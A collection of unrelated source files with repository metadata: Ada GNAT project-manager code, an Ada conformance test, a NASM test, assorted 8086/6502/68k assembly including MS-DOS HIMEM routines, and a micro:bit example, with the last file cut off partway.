------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- P R J . E R R -- -- -- -- S p e c -- -- -- -- Copyright (C) 2002-2005, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING. If not, write -- -- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, -- -- Boston, MA 02110-1301, USA. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ -- This package contains the routines to output error messages and the scanner -- for the project files. It replaces Errout and Scn. It is not dependent on -- the GNAT tree packages (Atree, Sinfo, ...). It uses exactly the same global -- variables as Errout, located in package Err_Vars. Like Errout, it also uses -- the common variables and routines in package Erroutc. with Scng; with Errutil; package Prj.Err is --------------------------------------------------------- -- Error Message Text and Message Insertion Characters -- --------------------------------------------------------- -- See errutil.ads ----------------------------------------------------- -- Format of Messages and Manual Quotation Control -- ----------------------------------------------------- -- See errutil.ads ------------------------------ -- Error Output Subprograms -- ------------------------------ procedure Initialize renames Errutil.Initialize; -- Initializes for output of error messages. Must be called for each -- file before using any of the other routines in the package. procedure Finalize (Source_Type : String := "project") renames Errutil.Finalize; -- Finalize processing of error messages for one file and output message -- indicating the number of detected errors. procedure Error_Msg (Msg : String; Flag_Location : Source_Ptr) renames Errutil.Error_Msg; -- Output a message at specified location procedure Error_Msg_S (Msg : String) renames Errutil.Error_Msg_S; -- Output a message at current scan pointer location procedure Error_Msg_SC (Msg : String) renames Errutil.Error_Msg_SC; -- Output a message at the start of the current token, unless we are at -- the end of file, in which case we always output the message after the -- last real token in the file. procedure Error_Msg_SP (Msg : String) renames Errutil.Error_Msg_SP; -- Output a message at the start of the previous token ------------- -- Scanner -- ------------- package Style renames Errutil.Style; -- Instantiation of the generic style package, needed for the instantiation -- of the generic scanner below. procedure Obsolescent_Check (S : Source_Ptr); -- Dummy null procedure for Scng instantiation procedure Post_Scan; -- Convert an Ada operator symbol into a standard string package Scanner is new Scng (Post_Scan => Post_Scan, Error_Msg => Error_Msg, Error_Msg_S => Error_Msg_S, Error_Msg_SC => Error_Msg_SC, Error_Msg_SP => Error_Msg_SP, Obsolescent_Check => Obsolescent_Check, Style => Style); -- Instantiation of the generic scanner end Prj.Err;
test/br3028880.asm
bitwiseworks/nasm-os2
3
240145
;Testname=br3028880; Arguments=-Ox -fbin -obr3028880.o; Files=stdout stderr br3028880.o %macro import 1 %define %%incfile %!PROJECTBASEDIR/%{1}.inc %endmacro import foo
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c4/c47003a.ada
best08618/asylo
7
10250
<filename>gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c4/c47003a.ada<gh_stars>1-10 -- C47003A.ADA -- Grant of Unlimited Rights -- -- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687, -- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained -- unlimited rights in the software and documentation contained herein. -- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making -- this public release, the Government intends to confer upon all -- recipients unlimited rights equal to those held by the Government. -- These rights include rights to use, duplicate, release or disclose the -- released technical data and computer software in whole or in part, in -- any manner and for any purpose whatsoever, and to have or permit others -- to do so. -- -- DISCLAIMER -- -- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR -- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED -- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE -- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE -- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A -- PARTICULAR PURPOSE OF SAID MATERIAL. --* -- WHEN THE TYPE MARK IN A QUALIFIED EXPRESSION DENOTES AN -- ENUMERATION TYPE, CHECK THAT CONSTRAINT_ERROR IS RAISED WHEN THE -- VALUE OF THE OPERAND DOES NOT LIE WITHIN THE RANGE OF THE TYPE MARK. -- RJW 7/23/86 WITH REPORT; USE REPORT; PROCEDURE C47003A IS BEGIN TEST( "C47003A", "WHEN THE TYPE MARK IN A QUALIFIED " & "EXPRESSION DENOTES AN ENUMERATION " & "TYPE, CHECK THAT CONSTRAINT_ERROR IS RAISED " & "WHEN THE VALUE OF THE OPERAND DOES NOT LIE " & "WITHIN THE RANGE OF THE TYPE MARK" ); DECLARE TYPE WEEK IS (SUN, MON, TUE, WED, THU, FRI, SAT); SUBTYPE MIDWEEK IS WEEK RANGE TUE .. THU; FUNCTION IDENT (W : WEEK) RETURN WEEK IS BEGIN RETURN WEEK'VAL (IDENT_INT (WEEK'POS (W))); END IDENT; BEGIN IF MIDWEEK'(IDENT (SUN)) = TUE THEN FAILED ( "NO EXCEPTION RAISED FOR VALUE OUTSIDE OF " & "SUBTYPE MIDWEEK - 1"); ELSE FAILED ( "NO EXCEPTION RAISED FOR VALUE OUTSIDE OF " & "SUBTYPE MIDWEEK - 2"); END IF; EXCEPTION WHEN CONSTRAINT_ERROR => NULL; WHEN OTHERS => FAILED ( "WRONG EXCEPTION RAISED FOR VALUE OUTSIDE " & "OF SUBTYPE MIDWEEK" ); END; DECLARE SUBTYPE CHAR IS CHARACTER RANGE 'C' .. 'R'; BEGIN IF CHAR'(IDENT_CHAR ('A')) = 'C' THEN FAILED ( "NO EXCEPTION RAISED FOR VALUE OUTSIDE OF " & "SUBTYPE CHAR - 1"); ELSE FAILED ( "NO EXCEPTION RAISED FOR VALUE OUTSIDE OF " & "SUBTYPE CHAR - 2"); END IF; EXCEPTION WHEN CONSTRAINT_ERROR => NULL; WHEN OTHERS => FAILED ( "WRONG EXCEPTION RAISED FOR VALUE OUTSIDE " & "OF SUBTYPE CHAR" ); END; DECLARE TYPE NBOOL IS NEW BOOLEAN; SUBTYPE NFALSE IS NBOOL RANGE FALSE .. FALSE; FUNCTION IDENT (B : NBOOL) RETURN NBOOL IS BEGIN RETURN NBOOL (IDENT_BOOL (BOOLEAN (B))); END IDENT; BEGIN IF NFALSE'(IDENT (TRUE)) = FALSE THEN FAILED ( "NO EXCEPTION RAISED FOR VALUE OUTSIDE OF " & "SUBTYPE NFALSE - 1"); ELSE FAILED ( "NO EXCEPTION RAISED FOR VALUE OUTSIDE OF " & "SUBTYPE NFALSE - 2"); END IF; EXCEPTION WHEN CONSTRAINT_ERROR => NULL; WHEN OTHERS => FAILED ( "WRONG EXCEPTION RAISED FOR VALUE OUTSIDE " & "OF SUBTYPE NFALSE" ); END; RESULT; END C47003A;
oeis/019/A019696.asm
neoneye/loda-programs
11
162775
; A019696: Decimal expansion of 2*Pi/9. ; Submitted by <NAME> ; 6,9,8,1,3,1,7,0,0,7,9,7,7,3,1,8,3,0,7,6,9,4,7,6,3,0,7,3,9,5,4,4,5,0,8,5,3,7,7,1,4,8,7,5,5,4,1,6,6,9,0,1,8,2,4,3,8,8,7,6,5,7,6,0,6,8,4,0,3,6,4,5,8,4,1,3,7,9,7,7,7,4,7,2,8,9,6,6,2,7,8,5,3,8,0,3,7,9,2,8 add $0,1 mov $2,1 mov $3,$0 mul $3,5 lpb $3 mul $1,$3 mov $5,$3 mul $5,2 add $5,1 mul $2,$5 add $1,$2 div $1,$0 div $2,$0 sub $3,1 lpe mul $1,4 div $1,9 mov $4,10 pow $4,$0 div $2,$4 div $1,$2 mov $0,$1 mod $0,10
_maps/obj3B.asm
NatsumiFox/AMPS-Sonic-1-2005
2
83407
; --------------------------------------------------------------------------- ; Sprite mappings - purple rock (GHZ) ; --------------------------------------------------------------------------- dc.w byte_D110-Map_obj3B byte_D110: dc.b 2 dc.b $F0, $B, 0, 0, $E8 dc.b $F0, $B, 0, $C, 0 even
fm/DosQCurDir.asm
prokushev/FamilyAPI
1
85472
;/*! ; @file ; ; @ingroup fapi ; ; @brief DosQCurDir DOS wrapper ; ; (c) osFree Project 2018, <http://www.osFree.org> ; for licence see licence.txt in root directory, or project website ; ; This is Family API implementation for DOS, used with BIND tools ; to link required API ; ; @author <NAME> (<EMAIL>) ; ;*/ .8086 ; Helpers INCLUDE HELPERS.INC INCLUDE DOS.INC INCLUDE BSEERR.INC _TEXT SEGMENT BYTE PUBLIC 'CODE' USE16 @PROLOG DOSQCURDIR DRIVENUMBER DW ? DIRPATH DD ? DIRPATHLEN DD ? @START DOSQCURDIR, 68 LDS BX,[DS:BP].ARGS.DIRPATHLEN MOV CX,[BX] ;GET SIZE OF BUFFER (MAY BE 0) MOV AX,SS MOV DS,AX MOV DX, [DS:BP].ARGS.DRIVENUMBER GET_DIR DL, [BP-68] JB EXIT @@: LODSB AND AL,AL JNZ @B MOV AX,SI SUB AX,[BP-68] ;GET SIZE OF CURDIR (INCL TERM NULL) MOV SI,[BP-68] CMP CX,AX JB ERROR MOV CX,AX LES DI,[DS:BP].ARGS.DIRPATH REP MOVSB XOR AX,AX JMP EXIT ERROR: LDS BX,[DS:BP].ARGS.DIRPATHLEN MOV [BX],AX MOV AX,ERROR_FILE_NOT_FOUND EXIT: @EPILOG DOSQCURDIR _TEXT ENDS END
examples/MicroBit_v2/accelerometer/src/main.adb
BaderKashkash/Ada_Drivers_Library
1
21659
<reponame>BaderKashkash/Ada_Drivers_Library<gh_stars>1-10 ------------------------------------------------------------------------------ -- -- -- Copyright (C) 2019, AdaCore -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions are -- -- met: -- -- 1. Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- 2. Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in -- -- the documentation and/or other materials provided with the -- -- distribution. -- -- 3. Neither the name of the copyright holder nor the names of its -- -- contributors may be used to endorse or promote products derived -- -- from this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -- -- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -- -- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -- -- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -- -- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -- -- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ with LSM303AGR; use LSM303AGR; with MicroBit.Display; with MicroBit.Display.Symbols; with MicroBit.Accelerometer; with MicroBit.Console; with MicroBit.Time; use MicroBit; procedure Main is Data: All_Axes_Data; Threshold : constant := 150; begin loop -- Read the accelerometer data Data := Accelerometer.Data; -- Print the data on the serial port Console.Put_Line ("X:" & Data.X'Img & ASCII.HT & "Y:" & Data.Y'Img & ASCII.HT & "Z:" & Data.Z'Img); -- Clear the LED matrix Display.Clear; -- Draw a symbol on the LED matrix depending on the orientation of the -- micro:bit. if Data.X > Threshold then Display.Symbols.Left_Arrow; elsif Data.X < -Threshold then Display.Symbols.Right_Arrow; elsif Data.Y > Threshold then Display.Symbols.Up_Arrow; elsif Data.Y < -Threshold then Display.Symbols.Down_Arrow; else Display.Symbols.Heart; end if; -- Do nothing for 100 milliseconds Time.Sleep (100); end loop; end Main;
src/main/fragment/mos6502-common/vwum1=vwum1_bor_vwum2.asm
jbrandwood/kickc
2
173985
lda {m1} ora {m2} sta {m1} lda {m1}+1 ora {m2}+1 sta {m1}+1
dev/himem/himem4.asm
minblock/msdos
0
12793
<reponame>minblock/msdos ;/* ; * Microsoft Confidential ; * Copyright (C) Microsoft Corporation 1988-1992 ; * All Rights Reserved. ; */ page 95,160 title himem4 - block allocation stuff (common to both 286&386) .xlist include himem.inc .list ; The stuff we provide: public Version public GetExtMemoryInfo public LockExtMemory public UnlockExtMemory public end_of_hiseg public textseg public KiddValley public KiddValleyTop public segKiddValley public cHandles public ValidateHandle public BlkMovX ; externals from himem.asm extrn PrevInt15:dword extrn fHMAMayExist:byte extrn fHMAExists:byte extrn winbug_fix:word extrn FLclEnblA20:far extrn FLclDsblA20:far extrn pAddMem:word ifdef debug_tsr extrn pQuery:dword extrn pAlloc:dword extrn pFree:dword extrn MoveIt:dword extrn pGetInfo:dword extrn pRealloc:dword else extrn pQuery:word extrn pAlloc:word extrn pFree:word extrn MoveIt:word extrn pGetInfo:word extrn pRealloc:word endif _text ends funky segment word public 'funky' assume cs:funky,ds:_text extrn mmove_segreinit:near extrn IsCPU286:near extrn end_of_funky_seg:near ifndef debug_tsr org HISEG_ORG endif ;----------------------------------------------------------------- ; Following entries must be kept together in the same order public HandleInfo HandleInfo label byte db 1 ; info structure version # db SIZE Handle ; size of handle entries cHandles dw DEFHANDLES ; number of handles KiddValley dw end_of_funky_seg; The address of the handle table segKiddValley dw seg funky ; segment of handle table KiddValleyTop dw 0 ; end of handle table ; Above entries must be kept together in the same order ;----------------------------------------------------------------- public LEnblA20 public LDsblA20 end_of_hiseg dw End286 textseg dw _text LEnblA20 dd _text:FLclEnblA20 LDsblA20 dd _text:FLclDsblA20 ;*----------------------------------------------------------------------* ;* * ;* Get XMS Version Number - FUNCTION 00h * ;* * ;* Returns the XMS version number * ;* * ;* ARGS: None * ;* RETS: AX = XMS Version Number * ;* BX = Internal Driver Version Number * ;* DX = 1 if HMA exists, 0 if it doesn't * ;* REGS: AX, BX and DX are clobbered * ;* * ;* INTERNALLY REENTRANT * ;* * ;*----------------------------------------------------------------------* Version proc far mov ax,XMSVersion mov bx,HimemVersion xor dh,dh ; Is Int 15h hooked? cmp word ptr [PrevInt15][2],0 ; Is the segment non-zero? jne VHooked mov dl,[fHMAMayExist] ; No, return the status at ret ; init time. VHooked: mov dl,[fHMAExists] ; Yes, return the real status ret Version endp ;*----------------------------------------------------------------------* ;* * ;* LockExtMemory - FUNCTION 0Ch * ;* * ;* Locks a block of extended memory * ;* * ;* ARGS: DX = 16-bit handle to the extended memory block * ;* RETS: AX = 1 of successful, 0 otherwise. BL = Error code * ;* DX:BX = 32-bit linear address of the base of the memory block * ;* REGS: AX, BX, DX and Flags clobbered * ;* * ;* INTERNALLY NON-REENTRANT * ;* * ;*----------------------------------------------------------------------* LockExtMemory proc far cli ; This is a non-reentrant function call ValidateHandle ; Is the handle valid? jnc LEMBadh mov bx,dx ; Move the handle into BX ; Are we at some preposterously large limit? cmp [bx].cLock,0FFh je LEMOverflow inc [bx].cLock ; lock the block mov dx, [bx].Base.hi ; return the 32-bit address of base mov bx, [bx].Base.lo mov ax, bx ; save low 16 bits shl dx, 10 ; *1024 of hi 16 bits shl bx, 10 ; *1024 of low 16 bits shr ax, 06 ; take the overflow into account or dx, ax mov ax,1 ; return success ret LEMBadh: mov bl,ERR_INVALIDHANDLE jmp short LEMErrExit LEMOverflow: mov bl,ERR_LOCKOVERFLOW LEMErrExit: xor ax,ax ; Return failure mov dx,ax ret LockExtMemory endp ;*----------------------------------------------------------------------* ;* * ;* UnlockExtMemory - FUNCTION 0Dh * ;* * ;* Unlocks a block of extended memory * ;* * ;* ARGS: DX = 16-bit handle to the extended memory block * ;* RETS: AX = 1 if successful, 0 otherwise. BL = Error code * ;* REGS: AX, BX and Flags clobbered * ;* * ;* INTERNALLY NON-REENTRANT * ;* * ;*----------------------------------------------------------------------* UnlockExtMemory proc far cli ; This is a non-reentrant function call ValidateHandle ; Is the handle valid? jnc UEMBadh mov bx,dx ; Move the handle into BX cmp [bx].cLock,0 ; is handle locked? je UEMUnlocked ; No, return error dec [bx].cLock ; Unlock the block mov ax,1 ; Return success xor bl,bl ret UEMUnlocked: mov bl,ERR_EMBUNLOCKED jmp short UEMErrExit UEMBadh: mov bl,ERR_INVALIDHANDLE UEMErrExit: xor ax,ax ret UnlockExtMemory endp ;*----------------------------------------------------------------------* ;* * ;* ValidateHandle - * ;* * ;* Validates an extended memory block handle * ;* * ;* ARGS: DX = 16-bit handle to the extended memory block * ;* RETS: Carry is set if the handle is valid * ;* REGS: Preserved except the carry flag * ;* * ;*----------------------------------------------------------------------* ValidateHandle proc near push ax push bx push cx push dx mov bx,dx ; Move the handle into BX ; The handle must be equal to or above "KiddValley". cmp bx,[KiddValley] jb VH9f ; The handle must not be above "KiddValleyTop". cmp bx,[KiddValleyTop] ja VH9f ; (The handle-"KiddValley") must be a multiple of a handle's size. sub dx,[KiddValley] mov ax,dx xor dx,dx mov cx,SIZE Handle div cx or dx,dx ; Any remainder? jnz VH9f ; Yup, it's bad ; Does the handle point to a currently USED block? cmp [bx].Flags,USEDFLAG jne VH9f ; This handle is not being used. ; The handle looks good to me... stc ; return success VH9: pop dx pop cx pop bx pop ax ret VH9f: ; It's really bad. clc ; Return failure jmp short vh9 ; we can take a performance hit if it is ; a bad handle ret ValidateHandle endp BlkMovX proc near assume ds:_text jmp MoveIt BlkMovX endp .286p include himem4a.asm .386p include himem4b.asm .286p ;*----------------------------------------------------------------------* ;* * ;* InstallMoveBlock - HARDWARE DEP. * ;* * ;* Copies 386 move down on top of 286 move and adjusts end pointer * ;* if needed. Also performs mmove_segreinit to set segment * ;* of the installed move routine. * ;* * ;* ARGS: None * ;* RETS: None * ;* REGS: AX, CX, DX, DI, SI, ES and Flags are clobbered * ;* * ;*----------------------------------------------------------------------* public InstallMoveBlock SKEW equ (offset Begin386 - offset Begin286) InstallMoveBlock proc far assume ds:_text,es:nothing call IsCPU286 jz IMB_done ; done if cpu is 286 mov si,offset Begin386 mov cx,(offset End386-offset Begin386) push ds ; save _text segment push cs ; es = cs pop es push cs pop ds ; ds = cs assume ds:nothing mov di,offset Begin286 rep movsb ; move it! pop ds ; restore ds -> _text assume ds:_text mov end_of_hiseg,di ; save new end of hi segment ; For the TSR version, these jump labels point to dwords. For the ; DOS device driver version, these jump labels point to word offsets. ifdef debug_tsr ; All these functions live in the 'funky' segment. We need to patch ; up their selectors to match the new hiseg value after compacting in ; pack_and_truncate(). mov MoveIt.off, offset MoveExtended386 mov pQuery.off, (offset QueryExtMemory - SKEW) mov pAlloc.off, (offset AllocExtMemory - SKEW) mov pFree.off, (offset FreeExtMemory - SKEW) mov pGetInfo.off, (offset GetExtMemoryInfo - SKEW) mov pRealloc.off, (offset ReallocExtMemory - SKEW) else mov MoveIt, offset MoveExtended386 mov pQuery, (offset QueryExtMemory - SKEW) mov pAlloc, (offset AllocExtMemory - SKEW) mov pFree, (offset FreeExtMemory - SKEW) mov pGetInfo, (offset GetExtMemoryInfo - SKEW) mov pRealloc, (offset ReallocExtMemory - SKEW) endif ; pAddMem should be a word offset for both Himem versions - TSR and ; DOS device driver. mov pAddMem, (offset AddMem - SKEW) IMB_done: push cs pop es ; point es: to new segment call mmove_segreinit ; now adjust the segment stuff ret ; far return InstallMoveBlock endp ;*----------------------------------------------------------------------* ;* * ;* NOTE: RequestUMB and ReleaseUMB will not be implemented by HIMEM. * ;* * ;*----------------------------------------------------------------------* funky ends end 
gcc-gcc-7_3_0-release/gcc/ada/prj-proc.adb
best08618/asylo
7
14474
<reponame>best08618/asylo ------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- P R J . P R O C -- -- -- -- B o d y -- -- -- -- Copyright (C) 2001-2016, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING3. If not, go to -- -- http://www.gnu.org/licenses for a complete copy of the license. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ with Atree; use Atree; with Err_Vars; use Err_Vars; with Opt; use Opt; with Osint; use Osint; with Output; use Output; with Prj.Attr; use Prj.Attr; with Prj.Env; with Prj.Err; use Prj.Err; with Prj.Ext; use Prj.Ext; with Prj.Nmsc; use Prj.Nmsc; with Prj.Part; with Prj.Util; with Snames; with Ada.Containers.Vectors; with Ada.Strings.Fixed; use Ada.Strings.Fixed; with GNAT.Case_Util; use GNAT.Case_Util; with GNAT.HTable; package body Prj.Proc is package Processed_Projects is new GNAT.HTable.Simple_HTable (Header_Num => Header_Num, Element => Project_Id, No_Element => No_Project, Key => Name_Id, Hash => Hash, Equal => "="); -- This hash table contains all processed projects package Unit_Htable is new GNAT.HTable.Simple_HTable (Header_Num => Header_Num, Element => Source_Id, No_Element => No_Source, Key => Name_Id, Hash => Hash, Equal => "="); -- This hash table contains all processed projects package Runtime_Defaults is new GNAT.HTable.Simple_HTable (Header_Num => Prj.Header_Num, Element => Name_Id, No_Element => No_Name, Key => Name_Id, Hash => Prj.Hash, Equal => "="); -- Stores the default values of 'Runtime names for the various languages package Name_Ids is new Ada.Containers.Vectors (Positive, Name_Id); procedure Add (To_Exp : in out Name_Id; Str : Name_Id); -- Concatenate two strings and returns another string if both -- arguments are not null string. -- In the following procedures, we are expected to guess the meaning of -- the parameters from their names, this is never a good idea, comments -- should be added precisely defining every formal ??? procedure Add_Attributes (Project : Project_Id; Project_Name : Name_Id; Project_Dir : Name_Id; Shared : Shared_Project_Tree_Data_Access; Decl : in out Declarations; First : Attribute_Node_Id; Project_Level : Boolean); -- Add all attributes, starting with First, with their default values to -- the package or project with declarations Decl. procedure Check (In_Tree : Project_Tree_Ref; Project : Project_Id; Node_Tree : Prj.Tree.Project_Node_Tree_Ref; Flags : Processing_Flags); -- Set all projects to not checked, then call Recursive_Check for the -- main project Project. Project is set to No_Project if errors occurred. -- Current_Dir is for optimization purposes, avoiding extra system calls. -- If Allow_Duplicate_Basenames, then files with the same base names are -- authorized within a project for source-based languages (never for unit -- based languages) procedure Copy_Package_Declarations (From : Declarations; To : in out Declarations; New_Loc : Source_Ptr; Restricted : Boolean; Shared : Shared_Project_Tree_Data_Access); -- Copy a package declaration From to To for a renamed package. Change the -- locations of all the attributes to New_Loc. When Restricted is -- True, do not copy attributes Body, Spec, Implementation, Specification -- and Linker_Options. function Expression (Project : Project_Id; Shared : Shared_Project_Tree_Data_Access; From_Project_Node : Project_Node_Id; From_Project_Node_Tree : Project_Node_Tree_Ref; Env : Prj.Tree.Environment; Pkg : Package_Id; First_Term : Project_Node_Id; Kind : Variable_Kind) return Variable_Value; -- From N_Expression project node From_Project_Node, compute the value -- of an expression and return it as a Variable_Value. function Imported_Or_Extended_Project_From (Project : Project_Id; With_Name : Name_Id; No_Extending : Boolean := False) return Project_Id; -- Find an imported or extended project of Project whose name is With_Name. -- When No_Extending is True, do not look for extending projects, returns -- the exact project whose name is With_Name. function Package_From (Project : Project_Id; Shared : Shared_Project_Tree_Data_Access; With_Name : Name_Id) return Package_Id; -- Find the package of Project whose name is With_Name procedure Process_Declarative_Items (Project : Project_Id; In_Tree : Project_Tree_Ref; From_Project_Node : Project_Node_Id; Node_Tree : Project_Node_Tree_Ref; Env : Prj.Tree.Environment; Pkg : Package_Id; Item : Project_Node_Id; Child_Env : in out Prj.Tree.Environment); -- Process declarative items starting with From_Project_Node, and put them -- in declarations Decl. This is a recursive procedure; it calls itself for -- a package declaration or a case construction. -- -- Child_Env is the modified environment after seeing declarations like -- "for External(...) use" or "for Project_Path use" in aggregate projects. -- It should have been initialized first. procedure Recursive_Process (In_Tree : Project_Tree_Ref; Project : out Project_Id; Packages_To_Check : String_List_Access; From_Project_Node : Project_Node_Id; From_Project_Node_Tree : Project_Node_Tree_Ref; Env : in out Prj.Tree.Environment; Extended_By : Project_Id; From_Encapsulated_Lib : Boolean; On_New_Tree_Loaded : Tree_Loaded_Callback := null); -- Process project with node From_Project_Node in the tree. Do nothing if -- From_Project_Node is Empty_Node. If project has already been processed, -- simply return its project id. Otherwise create a new project id, mark it -- as processed, call itself recursively for all imported projects and a -- extended project, if any. Then process the declarative items of the -- project. -- -- Is_Root_Project should be true only for the project that the user -- explicitly loaded. In the context of aggregate projects, only that -- project is allowed to modify the environment that will be used to load -- projects (Child_Env). -- -- From_Encapsulated_Lib is true if we are parsing a project from -- encapsulated library dependencies. -- -- If specified, On_New_Tree_Loaded is called after each aggregated project -- has been processed succesfully. function Get_Attribute_Index (Tree : Project_Node_Tree_Ref; Attr : Project_Node_Id; Index : Name_Id) return Name_Id; -- Copy the index of the attribute into Name_Buffer, converting to lower -- case if the attribute is case-insensitive. --------- -- Add -- --------- procedure Add (To_Exp : in out Name_Id; Str : Name_Id) is begin if To_Exp = No_Name or else To_Exp = Empty_String then -- To_Exp is nil or empty. The result is Str To_Exp := Str; -- If Str is nil, then do not change To_Ext elsif Str /= No_Name and then Str /= Empty_String then declare S : constant String := Get_Name_String (Str); begin Get_Name_String (To_Exp); Add_Str_To_Name_Buffer (S); To_Exp := Name_Find; end; end if; end Add; -------------------- -- Add_Attributes -- -------------------- procedure Add_Attributes (Project : Project_Id; Project_Name : Name_Id; Project_Dir : Name_Id; Shared : Shared_Project_Tree_Data_Access; Decl : in out Declarations; First : Attribute_Node_Id; Project_Level : Boolean) is The_Attribute : Attribute_Node_Id := First; begin while The_Attribute /= Empty_Attribute loop if Attribute_Kind_Of (The_Attribute) = Single then declare New_Attribute : Variable_Value; begin case Variable_Kind_Of (The_Attribute) is -- Undefined should not happen when Undefined => pragma Assert (False, "attribute with an undefined kind"); raise Program_Error; -- Single attributes have a default value of empty string when Single => New_Attribute := (Project => Project, Kind => Single, Location => No_Location, Default => True, Value => Empty_String, Index => 0); -- Special cases of <project>'Name and -- <project>'Project_Dir. if Project_Level then if Attribute_Name_Of (The_Attribute) = Snames.Name_Name then New_Attribute.Value := Project_Name; elsif Attribute_Name_Of (The_Attribute) = Snames.Name_Project_Dir then New_Attribute.Value := Project_Dir; end if; end if; -- List attributes have a default value of nil list when List => New_Attribute := (Project => Project, Kind => List, Location => No_Location, Default => True, Values => Nil_String); end case; Variable_Element_Table.Increment_Last (Shared.Variable_Elements); Shared.Variable_Elements.Table (Variable_Element_Table.Last (Shared.Variable_Elements)) := (Next => Decl.Attributes, Name => Attribute_Name_Of (The_Attribute), Value => New_Attribute); Decl.Attributes := Variable_Element_Table.Last (Shared.Variable_Elements); end; end if; The_Attribute := Next_Attribute (After => The_Attribute); end loop; end Add_Attributes; ----------- -- Check -- ----------- procedure Check (In_Tree : Project_Tree_Ref; Project : Project_Id; Node_Tree : Prj.Tree.Project_Node_Tree_Ref; Flags : Processing_Flags) is begin Process_Naming_Scheme (In_Tree, Project, Node_Tree, Flags); -- Set the Other_Part field for the units declare Source1 : Source_Id; Name : Name_Id; Source2 : Source_Id; Iter : Source_Iterator; begin Unit_Htable.Reset; Iter := For_Each_Source (In_Tree); loop Source1 := Prj.Element (Iter); exit when Source1 = No_Source; if Source1.Unit /= No_Unit_Index then Name := Source1.Unit.Name; Source2 := Unit_Htable.Get (Name); if Source2 = No_Source then Unit_Htable.Set (K => Name, E => Source1); else Unit_Htable.Remove (Name); end if; end if; Next (Iter); end loop; end; end Check; ------------------------------- -- Copy_Package_Declarations -- ------------------------------- procedure Copy_Package_Declarations (From : Declarations; To : in out Declarations; New_Loc : Source_Ptr; Restricted : Boolean; Shared : Shared_Project_Tree_Data_Access) is V1 : Variable_Id; V2 : Variable_Id := No_Variable; Var : Variable; A1 : Array_Id; A2 : Array_Id := No_Array; Arr : Array_Data; E1 : Array_Element_Id; E2 : Array_Element_Id := No_Array_Element; Elm : Array_Element; begin -- To avoid references in error messages to attribute declarations in -- an original package that has been renamed, copy all the attribute -- declarations of the package and change all locations to New_Loc, -- the location of the renamed package. -- First single attributes V1 := From.Attributes; while V1 /= No_Variable loop -- Copy the attribute Var := Shared.Variable_Elements.Table (V1); V1 := Var.Next; -- Do not copy the value of attribute Linker_Options if Restricted if Restricted and then Var.Name = Snames.Name_Linker_Options then Var.Value.Values := Nil_String; end if; -- Remove the Next component Var.Next := No_Variable; -- Change the location to New_Loc Var.Value.Location := New_Loc; Variable_Element_Table.Increment_Last (Shared.Variable_Elements); -- Put in new declaration if To.Attributes = No_Variable then To.Attributes := Variable_Element_Table.Last (Shared.Variable_Elements); else Shared.Variable_Elements.Table (V2).Next := Variable_Element_Table.Last (Shared.Variable_Elements); end if; V2 := Variable_Element_Table.Last (Shared.Variable_Elements); Shared.Variable_Elements.Table (V2) := Var; end loop; -- Then the associated array attributes A1 := From.Arrays; while A1 /= No_Array loop Arr := Shared.Arrays.Table (A1); A1 := Arr.Next; -- Remove the Next component Arr.Next := No_Array; Array_Table.Increment_Last (Shared.Arrays); -- Create new Array declaration 